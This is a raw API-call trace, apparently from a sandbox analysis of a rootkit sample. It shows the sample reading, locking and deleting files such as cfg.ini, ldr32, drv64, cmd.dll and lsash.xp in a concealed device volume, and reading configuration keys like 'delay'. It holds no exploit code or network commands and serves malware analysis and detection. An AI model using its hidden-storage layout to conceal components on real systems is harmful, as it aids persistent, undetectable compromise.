[0122.428] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.428] KeEnterCriticalRegion () [0122.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] KeLeaveCriticalRegion () [0122.428] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.428] KeEnterCriticalRegion () [0122.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.428] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] KeLeaveCriticalRegion () [0122.428] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.428] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.428] KeEnterCriticalRegion () [0122.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] ExFreePoolWithTag (P=0xfffffa8003be5c40, Tag=0x0) [0122.428] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] KeLeaveCriticalRegion () [0122.428] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.428] ReleaseMutex (hMutex=0xf0) returned 1 [0122.428] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.428] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.428] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.428] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.428] KeEnterCriticalRegion () [0122.428] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.428] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.428] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.428] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.428] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.428] IdePortDispatch () returned 0x103 [0122.429] KeWaitForMutexObject () returned 0x0 [0122.429] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.429] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.429] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.429] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.429] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.429] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.429] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.429] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.429] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.429] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.429] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.429] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.429] KeLeaveCriticalRegion () [0122.429] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.429] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.429] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.429] KeEnterCriticalRegion () [0122.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.429] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.429] IdePortDispatch () returned 0x103 [0122.429] KeWaitForMutexObject () returned 0x0 [0122.429] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.429] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.429] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.429] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.429] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.430] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.430] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.430] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.430] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.430] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.430] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.430] KeLeaveCriticalRegion () [0122.430] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.430] ReleaseMutex (hMutex=0x100) returned 1 [0122.430] Sleep (dwMilliseconds=0x2bf20) [0122.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c2da030, dwHighDateTime=0x1d24fa4)) [0122.437] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.437] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.437] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.437] KeEnterCriticalRegion () [0122.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.437] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.437] IdePortDispatch () returned 0x103 [0122.437] KeWaitForMutexObject () returned 0x0 [0122.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.438] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be58e0 [0122.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.438] KeLeaveCriticalRegion () [0122.438] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.438] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.438] KeEnterCriticalRegion () [0122.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.438] KeLeaveCriticalRegion () [0122.438] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.438] KeEnterCriticalRegion () [0122.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.438] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.438] IdePortDispatch () returned 0x103 [0122.438] KeWaitForMutexObject () returned 0x0 [0122.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.438] KeLeaveCriticalRegion () [0122.438] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.438] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.438] KeEnterCriticalRegion () [0122.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c90000 [0122.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.439] IdePortDispatch () returned 0x103 [0122.439] KeWaitForMutexObject () returned 0x0 [0122.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.439] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.439] IdePortDispatch () returned 0x103 [0122.439] KeWaitForMutexObject () returned 0x0 [0122.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.439] KeLeaveCriticalRegion () [0122.439] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.440] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.440] KeEnterCriticalRegion () [0122.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] KeLeaveCriticalRegion () [0122.440] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.440] KeEnterCriticalRegion () [0122.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.440] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] KeLeaveCriticalRegion () [0122.440] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.440] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.440] KeEnterCriticalRegion () [0122.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] ExFreePoolWithTag (P=0xfffffa8003be58e0, Tag=0x0) [0122.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.440] KeLeaveCriticalRegion () [0122.440] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.441] ReleaseMutex (hMutex=0xf0) returned 1 [0122.441] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.441] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.441] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.441] KeEnterCriticalRegion () [0122.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.441] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.441] IdePortDispatch () returned 0x103 [0122.441] KeWaitForMutexObject () returned 0x0 [0122.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.441] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.441] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.441] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5290 [0122.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.441] KeLeaveCriticalRegion () [0122.441] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.441] KeEnterCriticalRegion () [0122.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.441] KeLeaveCriticalRegion () [0122.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.441] KeEnterCriticalRegion () [0122.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.441] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.441] IdePortDispatch () returned 0x103 [0122.442] KeWaitForMutexObject () returned 0x0 [0122.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.442] KeLeaveCriticalRegion () [0122.442] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.442] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.442] KeEnterCriticalRegion () [0122.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c92000 [0122.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.442] IdePortDispatch () returned 0x103 [0122.442] KeWaitForMutexObject () returned 0x0 [0122.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.442] IdePortDispatch () returned 0x103 [0122.442] KeWaitForMutexObject () returned 0x0 [0122.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] KeLeaveCriticalRegion () [0122.443] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.443] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.443] KeEnterCriticalRegion () [0122.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] KeLeaveCriticalRegion () [0122.443] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.443] KeEnterCriticalRegion () [0122.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] KeLeaveCriticalRegion () [0122.443] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.443] KeEnterCriticalRegion () [0122.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] ExFreePoolWithTag (P=0xfffffa8003be5290, Tag=0x0) [0122.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.443] KeLeaveCriticalRegion () [0122.443] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.443] ReleaseMutex (hMutex=0xf0) returned 1 [0122.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.443] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.443] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.444] KeEnterCriticalRegion () [0122.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.444] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.444] IdePortDispatch () returned 0x103 [0122.444] KeWaitForMutexObject () returned 0x0 [0122.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.444] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.444] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.444] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.444] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.444] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4790 [0122.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.444] KeLeaveCriticalRegion () [0122.444] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.444] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.444] KeEnterCriticalRegion () [0122.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.444] KeLeaveCriticalRegion () [0122.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.444] KeEnterCriticalRegion () 